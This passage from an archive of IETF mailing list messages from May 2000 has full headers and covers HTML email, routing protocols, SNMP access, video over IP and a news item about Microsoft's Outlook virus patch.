>form, with the plain-text form first --- and non-base-64 encoded if at
>all possible.  For certain recipients, this is still the case.

I'm one of those recipients, so I'd much rather have both plain-text and
fancy, with plain-text first.

Ran
rja@inet.org



From owner-ietf-outbound  Tue May 16 08:20:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA03306
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 08:20:04 -0400 (EDT)
Received: from iti-idsc.gov.eg (mail.iti.gov.eg [163.121.12.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA03205
	for <ietf@ietf.org>; Tue, 16 May 2000 08:16:07 -0400 (EDT)
Received: from iti-idsc.gov.eg (seg28.iti.idsc.gov.eg [163.121.28.7] (may be forged))
	by iti-idsc.gov.eg (8.9.1b+Sun/8.9.1) with ESMTP id PAA00911
	for <ietf@ietf.org>; Tue, 16 May 2000 15:17:01 +0300 (EET DST)
Message-ID: <3736DBCA.F4B9C251@iti-idsc.gov.eg>
Date: Mon, 10 May 1999 16:14:50 +0300
From: zozo <azaziz@iti-idsc.gov.eg>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Mobile Ad hoc
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

What are the benefits gained from
                 "Integeration between Mobile IP and Ad hoc networks" ?



From owner-ietf-outbound  Tue May 16 08:30:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA03614
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 08:30:03 -0400 (EDT)
Received: from meter.eng.uci.edu (root@meter.eng.uci.edu [128.200.85.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA03481
	for <ietf@ietf.org>; Tue, 16 May 2000 08:26:09 -0400 (EDT)
Received: from thomas.eng.uci.edu (thomas.eng.uci.edu [128.200.9.237]) by meter.eng.uci.edu (8.9.3/) with ESMTP id FAA05789 for <ietf@ietf.org>; Tue, 16 May 2000 05:26:01 -0700 (PDT)
Received: from localhost (miyer@localhost) by thomas.eng.uci.edu (8.8.8/) with ESMTP id FAA22028 for <ietf@ietf.org>; Tue, 16 May 2000 05:26:00 -0700 (PDT)
Date: Tue, 16 May 2000 05:26:00 -0700 (PDT)
From: Mahadevan Iyer  <miyer@eng.uci.edu>
To: ietf@ietf.org
Subject: Explicit Rate flow control in IP.
Message-ID: <Pine.SOL.4.05.10005160247510.21920-100000@thomas.eng.uci.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org



I was curious to know why support or a standard for explicit rate flow
control to be provided by ISP's has not been considered in IETF yet.
I hope this general list is the best suited to posting my message.

As we well know, even simple scalable explicit rate protocols similar to
EPRCA or ERICA, to a mention a few, can lead to drastic improvements in
control of queue size, link utilization and fairness at congested ISP 
cores.
This in turn could lead to a noticeable improvement in download time for
Web pages and other multimedia transfers to name some simple examples. 

How to use the IP packet header to designate if it is a forward/backward
Control packet or not and also to carry control information such as
Explicit Rate, Queue Length, etc? Possibly, carry such detailed 
information as payload? After all, Control packets will only arrive only
once a 'while'. I haven't careful thought to this yet.

There are ways in which an IP router can estimate the fair share
(or even the max-min fair share) of available link bandwidth without
having to use *any*  kind of per-flow information. 

Since the flow control computation needed is per-Control-packet and not
per-data-packet, it should be feasible in most routers. 
          
Of course, the full benefits of explicit rate control will be realized
only if the route for a flow remains fixed. Maintaining such fixed routes
is possible in MPLS networks.


Maybe I am missing some crucial reason, why IETF standards for such
explicit rate control are not advisable..


Mahadevan.



From owner-ietf-outbound  Tue May 16 08:50:43 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA04182
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 08:50:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA04122
	for <ietf@ietf.org>; Tue, 16 May 2000 08:47:50 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id FAA24258;
	Tue, 16 May 2000 05:47:42 -0700 (PDT)
Date: Tue, 16 May 2000 05:47:42 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005161247.FAA24258@shell9.ba.best.com>
To: ietf@ietf.org
Subject: Outlook finally patched!
X-Loop: ietf@ietf.org

> MS Makes E-mail Virus Patch 
> 
> By MICHAEL J MARTINEZ
> AP Business Writer 
> 05/15/00 
> 
> SEATTLE (AP) -- Charged with enabling easy access for computer
> viruses like the Love Bug, Microsoft is altering its popular
> Outlook e-mail software to prevent users from running any 
> "executable'' program attachments, good or bad.
>
> As an additional safeguard, any time a computer program
> attempts to access Outlook's address book or tries to send
> e-mail via Outlook, users will receive a warning and will be
> urged not to allow it. 
> 
> The software "patch'' announced Monday for Microsoft Outlook
> 98 and Office 2000 will be available on a Microsoft Web site
> starting next week.
>... 
> "We've been taking a really hard look at the security issues with
> regard to Outlook over the past few weeks,'' said Steven Sinofsky,
> senior vice president for Microsoft Office, a package of software
> programs that includes Outlook.
>...
> Legitimate programs that access Outlook, such as the synchronization
> software for Palm organizers and other handheld devices, will also
> be flagged, though users can simply click "Yes'' and allow the
> transfer of information to take place.

Yeay!  

Cheers,
James



From owner-ietf-outbound  Tue May 16 09:50:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA05331
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 09:50:03 -0400 (EDT)
Received: from fep20-svc.tin.it (pop10-acc.tin.it [212.216.176.73])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05256
	for <ietf@ietf.org>; Tue, 16 May 2000 09:40:02 -0400 (EDT)
Received: from andrea ([212.216.57.131]) by fep20-svc.tin.it
          (InterMail vM.4.01.02.17 201-229-119) with SMTP
          id <20000516133930.SUAR26786.fep20-svc.tin.it@andrea>
          for <ietf@ietf.org>; Tue, 16 May 2000 15:39:30 +0200
Received: by localhost with Microsoft MAPI; Tue, 16 May 2000 15:39:48 +0200
Message-ID: <01BFBF4C.F7D27D90.abovarini@vse.it>
From: Andrea <abovarini@vse.it>
Reply-To: "abovarini@vse.it" <abovarini@vse.it>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Video on IP
Date: Tue, 16 May 2000 15:39:47 +0200
Organization: Video System Engineering
X-Mailer: Posta elettronica Internet di Microsoft/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Dear IETF People,
I am working into the video broadcast market (terrestrial and Satellite tv 
channels), and more and more people are demanding solution to deliver 
streaming video on IP. For some application I am working on, I would like 
to webcast video using or Windows Media MP4 format or RealVideo G2 
(tipically from a webcam), but i need to decode the compressed signal at 
the end point. I need to have again my analog video to be, maybe, recorded 
on a vtr. I perfectly know the quality problems I will have, but this is 
not an issue.
I am going to use Osprey boards to encode.

Has anyone of you any experience on this? An help would be very 
appreciated. I have spoken with both Microsoft and Real tech support, but 
none seemed to know something.

Best regards

Andrea Bovarini
Video System Engineering, Milan, Italy



From owner-ietf-outbound  Tue May 16 10:00:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA05485
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 10:00:03 -0400 (EDT)
Received: from iti-idsc.gov.eg (mail.iti.gov.eg [163.121.12.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05457
	for <ietf@ietf.org>; Tue, 16 May 2000 09:59:02 -0400 (EDT)
Received: from iti-idsc.gov.eg (seg28.iti.idsc.gov.eg [163.121.28.7] (may be forged))
	by iti-idsc.gov.eg (8.9.1b+Sun/8.9.1) with ESMTP id QAA02196
	for <ietf@ietf.org>; Tue, 16 May 2000 16:59:48 +0300 (EET DST)
Message-ID: <3736F3EB.9224F83D@iti-idsc.gov.eg>
Date: Mon, 10 May 1999 17:57:47 +0300
From: zozo <azaziz@iti-idsc.gov.eg>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Mobile Ad hoc
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

What are the benefits from
                "Integeration between Mobile IP and Ad hoc networks"?



From owner-ietf-outbound  Tue May 16 11:40:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA07481
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 11:40:01 -0400 (EDT)
Received: from episteme-software.com (resnick1.qualcomm.com [63.250.90.98])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA07215
	for <ietf@ietf.org>; Tue, 16 May 2000 11:30:26 -0400 (EDT)
Received: from annex2-p28.qualcomm.com (129.46.86.80) by 
 episteme-software.com with ESMTP
 (Eudora Internet Mail Server 3.0.1d10); Tue, 16 May 2000 10:29:44 -0500
Mime-Version: 1.0
X-Sender: resnick@resnick1.qualcomm.com (Unverified)
Message-Id: <p04311401b54719c9bae6@annex2-p28.qualcomm.com>
In-Reply-To: <200005160112.VAA21938@tsx-prime.MIT.EDU>
References: <200005160112.VAA21938@tsx-prime.MIT.EDU>
X-Mailer: Eudora [Macintosh version 4.3.1b20-05.00]
Date: Tue, 16 May 2000 08:29:36 -0700
To: "Theodore Y. Ts'o" <tytso@mit.edu>
From: Pete Resnick <presnick@qualcomm.com>
Subject: Re: HTML email
Cc: John C Klensin <klensin@jck.com>, John Stracke <francis@ecal.com>,
        ietf@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

On 5/15/00 at 9:12 PM -0400, Theodore Y. Ts'o wrote:

>It seems to be usually the case, for most messages that I've seen, that
>there's *no* added value to the HTML version.  I.e., other than adding
><BR> at the end of lines, and using microsoft-specific font settings at
>the beginning of each paragraph (usually all the same), there's nothing
>to be gained by using HTML except for bloating the message.
>
>So one question to ask is "why send HTML at all" in those cases?  It
>would be nice if MUA's could detect this case, and only send plain-text,
>and reserve HTML only for when it's actually adding something of value.

Some MUA's do just that.

pr
-- 
Pete Resnick <mailto:presnick@qualcomm.com>
Eudora Engineering - QUALCOMM Incorporated



From owner-ietf-outbound  Tue May 16 12:50:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA08822
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 12:50:02 -0400 (EDT)
Received: from shell5.ba.best.com (gds@shell5.ba.best.com [206.184.139.136])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA08732
	for <ietf@ietf.org>; Tue, 16 May 2000 12:42:49 -0400 (EDT)
Received: (from gds@localhost)
	by shell5.ba.best.com (8.9.3/8.9.2/best.sh) id JAA00734;
	Tue, 16 May 2000 09:42:49 -0700 (PDT)
Date: Tue, 16 May 2000 09:42:49 -0700 (PDT)
From: Greg Skinner <gds@best.com>
Message-Id: <200005161642.JAA00734@shell5.ba.best.com>
Subject: Re: HTML email
To: ietf@ietf.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

"Theodore Y. Ts'o" <tytso@MIT.EDU> wrote:

> I wonder how many people are still using plain-text, non-HTML enabled
> mail readers?  It still happens on some mailing list, where someone will
> send a base-64 encoded html'ified message (usually using MS Outlook),
> and someone will send back "try again in English; I don't read that MIME
> crap."

I still use plaintext mail readers such as elm, pine, even /usr/ucb/Mail. :)
I prefer to save the attachment off and use a separate program to read it
later, rather than to launch it from the mail program.

from the old school,
--gregbo



From owner-ietf-outbound  Tue May 16 14:20:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA10466
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 14:20:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10428
	for <ietf@ietf.org>; Tue, 16 May 2000 14:18:51 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 12rlvU-0000lP-00; Tue, 16 May 2000 19:18:40 +0100
Date: Tue, 16 May 2000 19:18:38 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Greg Skinner <gds@best.com>
cc: ietf@ietf.org
Subject: Re: HTML email
In-Reply-To: <200005161642.JAA00734@shell5.ba.best.com>
Message-ID: <Pine.GSO.4.21.0005161851401.876-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Tue, 16 May 2000, Greg Skinner wrote:

> > I wonder how many people are still using plain-text, non-HTML enabled
> > mail readers?  It still happens on some mailing list, where someone will
> > send a base-64 encoded html'ified message (usually using MS Outlook),
> > and someone will send back "try again in English; I don't read that MIME
> > crap."
> 
> I still use plaintext mail readers such as elm, pine, even /usr/ucb/Mail. :)

Strictly speaking, pine isn't a plaintext mail reader. You can view
HTML attachments very differently if you have headers visible or
not; pine (I'm using 4.21) defaults to rendering the HTML attachment
to text, rather than displaying the text attachment.

L.

doesn't understand mutt 1.0's handling of pgp attachments, and hasn't
got it to interoperate with pgppine. Hopefully 1.2 is better...

> I prefer to save the attachment off and use a separate program to read it
> later, rather than to launch it from the mail program.
> 
> from the old school,
> --gregbo

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>





From owner-ietf-outbound  Wed May 17 08:00:36 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA03251
	for ietf-outbound.10@ietf.org; Wed, 17 May 2000 08:00:02 -0400 (EDT)
Received: from ms.info.sh.cn. ([203.95.7.153])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA03177
	for <ietf@ietf.org>; Wed, 17 May 2000 07:55:12 -0400 (EDT)
Received: from [172.16.2.56] by ms.info.sh.cn. (5.65v4.0/1.1.19.2/10Sep99-0909AM)
	id AA12961; Wed, 17 May 2000 19:44:56 +0800
Message-Id: <39228861.9AE4DFD3@info.sh.cn>
Date: Wed, 17 May 2000 19:54:09 +0800
From: Wang Qihua <qihuaw@info.sh.cn>
Reply-To: qihuaw@bigfoot.com
X-Mailer: Mozilla 4.51 [zh-cn] (Win98; I)
X-Accept-Language: zh-CN
Mime-Version: 1.0
To: ietf@ietf.org
Subject: Gigabit router architecture 
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I need to get some info on the architecture of gigabit routers. Can you
suggest anything?




From owner-ietf-outbound  Wed May 17 09:10:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA04579
	for ietf-outbound.10@ietf.org; Wed, 17 May 2000 09:10:01 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04545
	for <ietf@ietf.org>; Wed, 17 May 2000 09:06:11 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 12s3WP-0001wT-00; Wed, 17 May 2000 14:05:57 +0100
Date: Wed, 17 May 2000 14:05:54 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: qihuaw@bigfoot.com
cc: ietf@ietf.org
Subject: Re: Gigabit router architecture 
In-Reply-To: <39228861.9AE4DFD3@info.sh.cn>
Message-ID: <Pine.GSO.4.21.0005171402470.3356-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Wed, 17 May 2000, Wang Qihua wrote:

> I need to get some info on the architecture of gigabit routers. Can you
> suggest anything?

Partridge, Carvey, Burgess et al, 'A Fifty Gigabit Per Second IP
Router', BBN Technologies, IEEE/ACM Transactions on Networking,
6(3):237-248, June 1998. 

http://www.cs.cmu.edu/~hzhang/15-744/Review/Review2/ksk.partridge98.html
http://www.ccrc.wustl.edu/~ton/jun98.html#Partridge

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Wed May 17 13:50:38 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA09273
	for ietf-outbound.10@ietf.org; Wed, 17 May 2000 13:50:02 -0400 (EDT)
Received: from mailhost.metro-optix.com (mail.metro-optix.com [63.91.47.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09248
	for <ietf@ietf.org>; Wed, 17 May 2000 13:48:51 -0400 (EDT)
Received: by MAILHOST with Internet Mail Service (5.5.2650.21)
	id <LCAZVFJT>; Wed, 17 May 2000 12:49:22 -0500
Message-ID: <D7F6115661E9D311834F006008F5C83C09639B@MAILHOST>
From: David Wang <david.wang@metro-optix.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: FW: MPLS and IS-IS
Date: Wed, 17 May 2000 12:49:21 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org


Hi all,

IS-IS is defined to work with CLNP not for IP originally. Until today a lot
of SONET and telecommunication equipment vendors still use IS-IS to route
CLNP packets through the SONET Data communication channel(DCC) to carry
management information and there is a great pressure to change this to OSPF
and IP. I also know that UUNET runs IS-IS on their network. I never heard
any other networks run IS-IS. Seems I am wrong. My questions are.

1. You guys are talking about using IS-IS in a IP networks not in CLNP
networks. The IS-IS has been modified according to RFC 1195 (Use of OSI
IS-IS for Routing in TCP/IP and Dual Environments) or some other standard.
Is this correct? 

2.  Besides UUNET, which ISPs run IS-IS protocol? Can you name a few? or
what percentage of networks run IS-IS instead of OSPF?

Thanks
David


-----Original Message-----
From: HANSEN CHAN [mailto:hchan@newbridge.com]
Sent: Tuesday, May 16, 2000 7:22 AM
To: mpls@UU.NET
Subject: MPLS and IS-IS


Hi all,

I have been hearing IS-IS is a better protocol to be used than OSPF in a
MPLS
network for TE application. Is that a fair statement? What are the technical
reasons?

Appreciate if someone can shed some light on this subject.

Thanks,
Hansen



From owner-ietf-outbound  Thu May 18 04:20:43 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA29309
	for ietf-outbound.10@ietf.org; Thu, 18 May 2000 04:20:03 -0400 (EDT)
Received: from hawaii.globewebs.com (hawaii.globewebs.com [199.202.42.148])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA29267
	for <ietf@ietf.org>; Thu, 18 May 2000 04:10:16 -0400 (EDT)
Received: from uklozms02.Teleglobe.CA (uklozms02.Teleglobe.CA [172.25.81.11])
	by hawaii.globewebs.com (8.8.8/8.8.8) with ESMTP id EAA18879
	for <ietf@ietf.org>; Thu, 18 May 2000 04:18:39 -0400 (EDT)
Received: by uklozms02.Teleglobe.CA with Internet Mail Service (5.5.2448.0)
	id <KK70AM8T>; Thu, 18 May 2000 08:58:25 +0100
Message-ID: <04BCD7586FEDD3119C0B00A0C9E4605F881F1D@uklozms02.Teleglobe.CA>
From: "Hallgren, Michael" <michael.hallgren@teleglobe.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: MPLS and IS-IS
Date: Thu, 18 May 2000 08:58:25 +0100
Return-Receipt-To: "Hallgren, Michael" <michael.hallgren@teleglobe.com>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

>Hi all,
>
>IS-IS is defined to work with CLNP not for IP originally. Until today a lot
>of SONET and telecommunication equipment vendors still use IS-IS to route
>CLNP packets through the SONET Data communication channel(DCC) to carry
>management information and there is a great pressure to change this to OSPF
>and IP. I also know that UUNET runs IS-IS on their network. I never heard
>any other networks run IS-IS. Seems I am wrong. My questions are.
>
>1. You guys are talking about using IS-IS in a IP networks not in CLNP
>networks. The IS-IS has been modified according to RFC 1195 (Use of OSI
>IS-IS for Routing in TCP/IP and Dual Environments) or some other standard.
>Is this correct? 
>
>2.  Besides UUNET, which ISPs run IS-IS protocol? Can you name a few? or
>what percentage of networks run IS-IS instead of OSPF?

Teleglobe

>
>Thanks
>David
>


mh



From owner-ietf-outbound  Thu May 18 05:20:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA01294
	for ietf-outbound.10@ietf.org; Thu, 18 May 2000 05:20:02 -0400 (EDT)
Received: from wiproecmx2.wipro.com ([164.164.31.6])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01255
	for <ietf@ietf.org>; Thu, 18 May 2000 05:15:41 -0400 (EDT)
Received: from ecvwall1.wipro.com (ecvwall1.wipro.com [192.168.181.23])
	by wiproecmx2.wipro.com (8.9.3/8.9.3) with SMTP id OAA28051
	for <ietf@ietf.org>; Thu, 18 May 2000 14:53:38 GMT
Received: from webmail ([192.168.172.18]) by ecmail.wipsys.soft.net
          (Netscape Messaging Server 3.6)  with SMTP id AAA225F;
          Thu, 18 May 2000 14:39:17 +0530
From: "Shivendra Kumar" <shivendra.kumar@wipro.com>
To: ietf@ietf.org
Cc: abhishek.bagchi@wipro.com
Subject: SNMP object ACCESS
X-Mailer: Netscape Messenger Express 3.5.2 [Mozilla/4.7 [en] (WinNT; I)]
Date: Thu, 18 May 2000 14:39:17 +0530
Message-ID: <77365E61395.AAA225F@ecmail.wipsys.soft.net>
X-Loop: ietf@ietf.org

Hi All,
In SNMP, is it possible to change the access to an object in the standard
MIB to a lower access permission?For example, tcpConnState is an object in
the tcpConnTable which is under the interface group and has an access of
read-write.Can this access be changed to read-only in one's agent
implementation?If not, why? In that case what is the difference between the
access clauses ACCESS & MAX-ACCESS defined in SMIv1 and SMIv2 respectively?


Thanks & regards,
Wipro team.





From owner-ietf-outbound  Thu May 18 09:21:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA04810
	for ietf-outbound.10@ietf.org; Thu, 18 May 2000 09:20:02 -0400 (EDT)
Received: from inbound.satyam.net.in ([202.144.76.6])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04781
	for <ietf@ietf.org>; Thu, 18 May 2000 09:19:07 -0400 (EDT)
Received: from N1A8Z0 (210.214.40.29) by inbound.satyam.net.in (NPlex 4.5.051)
        id 39238E080000CE71 for ietf@ietf.org; Thu, 18 May 2000 12:15:20 +0000
Received: by N1A8Z0 with Microsoft Mail
	id <01BFC0F0.BD1642E0@N1A8Z0>; Thu, 18 May 2000 17:44:38 +0530
Message-ID: <01BFC0F0.BD1642E0@N1A8Z0>
From: DEEPAK THAKKAR <vidurext@satyam.net.in>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: new order
Date: Thu, 18 May 2000 17:44:35 +0530
Return-Receipt-To: <vidurext@satyam.net.in>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Sirs,
We require following items kindly send us your best offer.

HP-26A,HP-29A,HP-45A,HP-41A,HP-49A,HP-23D,HP-06A,HP-03A,HP-98A,HP-74A,
HP-27A,HP-92A,HP-00A.
EACH ITEM QTY:- 50 PCS.
For,VIDUR EXPORTS[INDIA]
       D.J.Thakkar




From owner-ietf-outbound  Thu May 18 18:20:44 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA13752
	for ietf-outbound.10@ietf.org; Thu, 18 May 2000 18:20:02 -0400 (EDT)
Received: from wjao002.sita.int (wjao002.sita.int [57.250.224.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13712
	for <Ietf@Ietf.Org>; Thu, 18 May 2000 18:13:12 -0400 (EDT)
From: Sam.Ng@sita.int
Received: by wjao002.sita.int (Smap/SITAnet-firewall-2.1) id WAA07532
	for <Ietf@Ietf.Org>; Thu, 18 May 2000 22:12:59 GMT
Received: from mx.sita.int(57.6.21.105) by wjao002 via smap (3.2)
	id xma007528; Thu, 18 May 00 22:12:56 GMT
Received: from sydney1.syd.sita.int (sydney1.syd.sita.int [57.4.198.10])
	by mx1.sita.int (8.8.8/SITAnet-relay-2.6) with SMTP id WAA03386
	for <Ietf@Ietf.Org>; Thu, 18 May 2000 22:12:41 GMT
Received: by sydney1.syd.sita.int(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 4A2568E3.007A0171 ; Fri, 19 May 2000 08:12:37 +1000
X-Lotus-FromDomain: SITA
To: Ietf@ietf.org
Message-ID: <4A2568E3.0079FFC4.00@sydney1.syd.sita.int>
Date: Fri, 19 May 2000 08:12:33 +1000
Subject: Research
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Loop: ietf@ietf.org




  Anyone advise the possibility that you don't need to go to university or
institution but can do internet research
  remotely..

  Cheers
  Sam

  Sita Equant Operation
  Fault Management Unit
  Phone  : 61-02-92401408
  CVN     : 72391408




From owner-ietf-outbound  Thu May 18 18:50:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA13985
	for ietf-outbound.10@ietf.org; Thu, 18 May 2000 18:50:04 -0400 (EDT)
Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13919
	for <Ietf@ietf.org>; Thu, 18 May 2000 18:44:59 -0400 (EDT)
Received: from localhost (ole@localhost) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id PAA07859; Thu, 18 May 2000 15:44:25 -0700 (PDT)
Date: Thu, 18 May 2000 15:44:25 -0700 (PDT)
From: "Ole J. Jacobsen" <ole@cisco.com>
To: Sam.Ng@sita.int
cc: Ietf@ietf.org
Subject: Re: Research
In-Reply-To: <4A2568E3.0079FFC4.00@sydney1.syd.sita.int>
Message-ID: <Pine.HPX.4.02.10005181541450.2764-100000@diablo.cisco.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

Why bother to do the research remotely when you can simply buy a bogus
degree from a bogus university online? That will save both time and money.

The Internet is a truly wonderful place  :-)

Ole

Ole J. Jacobsen 
Editor and Publisher
The Internet Protocol Journal
Cisco Systems, Office of the CSO
Tel: +1 408-527-8972
e-mail: ole@cisco.com
URL: http://www.cisco.com/ipj

* See you at INET 2000, Yokohama, Japan July 18-21
  http://www.isoc.org/inet2000

On Fri, 19 May 2000 Sam.Ng@sita.int wrote:

> 
> 
> 
>   Anyone advise the possibility that you don't need to go to university or
> institution but can do internet research
>   remotely..
> 
>   Cheers
>   Sam
> 
>   Sita Equant Operation
>   Fault Management Unit
>   Phone  : 61-02-92401408
>   CVN     : 72391408
> 
> 
> 



From owner-ietf-outbound  Fri May 19 00:00:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA18559
	for ietf-outbound.10@ietf.org; Fri, 19 May 2000 00:00:04 -0400 (EDT)
Received: from guardian.apnic.net (guardian.apnic.net [203.37.255.100])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA18467
	for <ietf@ietf.org>; Thu, 18 May 2000 23:52:28 -0400 (EDT)
Received: (from mail@localhost)
	by guardian.apnic.net (8.9.3/8.9.3) id NAA16882
	for <ietf@ietf.org>; Fri, 19 May 2000 13:51:49 +1000 (EST)
Received: from julubu.staff.apnic.net(192.168.1.37) by int-gw.staff.apnic.net via smap (V2.1)
	id xma016880; Fri, 19 May 00 13:51:34 +1000
Date: Fri, 19 May 2000 13:51:35 +1000 (EST)
From: Bruce Campbell <bruce.campbell@apnic.net>
X-Sender: bc@julubu.staff.apnic.net
To: ietf@ietf.org
Subject: Re: HTML email
In-Reply-To: <200005160112.VAA21938@tsx-prime.MIT.EDU>
Message-ID: <Pine.BSF.4.21.0005191341441.3352-100000@julubu.staff.apnic.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Mon, 15 May 2000, Theodore Y. Ts'o wrote:

tytso> I wonder how many people are still using plain-text,
tytso> non-HTML enabled mail readers?  It still happens on some
tytso> mailing list, where someone will send a base-64 encoded
tytso> html'ified message (usually using MS Outlook), and someone
tytso> will send back "try again in English; I don't read that MIME
tytso> crap."

Just a quick survey on the last 513 messages seen in the IETF list, based
on X-Mailer header:

	1 Allaire
	1 CrossPoint
	1 dtmail
	1 Eudora
	1 KMail
	1 Lotus
	1 Netscape (Messenger Express)
	1 Posta (Posta elettronica Internet di Microsoft/MAPI - 8.0.0.4211)
	2 Mew
	2 Mulberry/2.0.0
	5 Mutt
	5 VM
	5 Windows (Eudora Pro)
	25 ELM
	29 exmh
	28 Pine		(based on Message-ID strings)
	34 QUALCOMM  (later versions of Eudora)
